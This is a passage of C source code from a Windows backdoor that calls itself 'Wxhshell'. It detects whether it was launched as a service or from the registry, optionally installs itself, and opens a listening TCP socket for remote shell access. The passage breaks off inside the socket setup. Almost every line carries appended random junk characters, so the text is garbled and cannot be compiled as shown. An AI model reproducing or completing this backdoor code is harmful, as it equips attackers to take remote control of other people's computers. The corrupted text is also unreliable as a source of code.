DWORD AffinityMask; 9 2MTX
Osp
DWORD BasePriority; [FUjnI
ULONG UniqueProcessId; <o2r~E0r3
ULONG InheritedFromUniqueProcessId; A]L%dFK
} PROCESS_BASIC_INFORMATION; ??hJEE
jL)WPq!m+
PROCNTQSIP NtQueryInformationProcess; KJE[+R H+z
IlX$YOf4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |^28\sm2e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iTW? W\d
Bx[rC
HANDLE hProcess; %AOIKK5
PROCESS_BASIC_INFORMATION pbi; 8G>>i)Sbg
~j#~\Ir
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V|)>{Xdn
if(NULL == hInst ) return 0; VL9-NfeqR
Y^%T}yTtq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n;R#,!<P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `si#aU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oi"a:bCU
_=
#zc4U
if (!NtQueryInformationProcess) return 0; ;Ut+yuy
gn5)SP 8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K;7f?52
if(!hProcess) return 0; A?TBtAe
H'
T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W)(^m},*8D
B12$I:x`
CloseHandle(hProcess); C0=9K@FCb
y}C`&nW[=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J/7R\;q`~o
if(hProcess==NULL) return 0; e&eW|E
;M]C1!D9#
HMODULE hMod; yGg,$WM
char procName[255]; "l={)=R
unsigned long cbNeeded; vaf&X]p
)'l*Tl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A?G IBjs
m~Ld~I"
CloseHandle(hProcess); Z%Z9oJ:
Gamr6I"K
if(strstr(procName,"services")) return 1; // 以服务启动 kF7(f|*
*`(
<'Z
return 0; // 注册表启动 T^Ab!O
} lCW8<g^
~}Z\:#U
// 主模块 ,(a5 @H$f
int StartWxhshell(LPSTR lpCmdLine) avmcw~
TF
{ 2/,0iwj-
SOCKET wsl; D+lzFn$3
BOOL val=TRUE; $ _8g8r}
int port=0; \U%#nU{
struct sockaddr_in door; .s/fhk,
ozsxXBh-`'
if(wscfg.ws_autoins) Install(); 3p?KU-
1
4LI5T
port=atoi(lpCmdLine); R`F,aIJ]
,?
E&V_5
if(port<=0) port=wscfg.ws_port; OT
%nr zP
# N~,F@t
WSADATA data; L.6WiVP)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ou'?]{
c41: !u^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?_\$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0;,IKXK6X
door.sin_family = AF_INET; SFH-^ly&D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Lh#`L?x
door.sin_port = htons(port); ^s\3/z>b4!
/R
X1UQ.s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &PcyKpyd
closesocket(wsl); ujW1+Oj=~
return 1; n$m"]inX
} A`O <6
wHz?#MW 3L
if(listen(wsl,2) == INVALID_SOCKET) { Vbh6HqAHxJ
closesocket(wsl); 33:DH}
return 1; <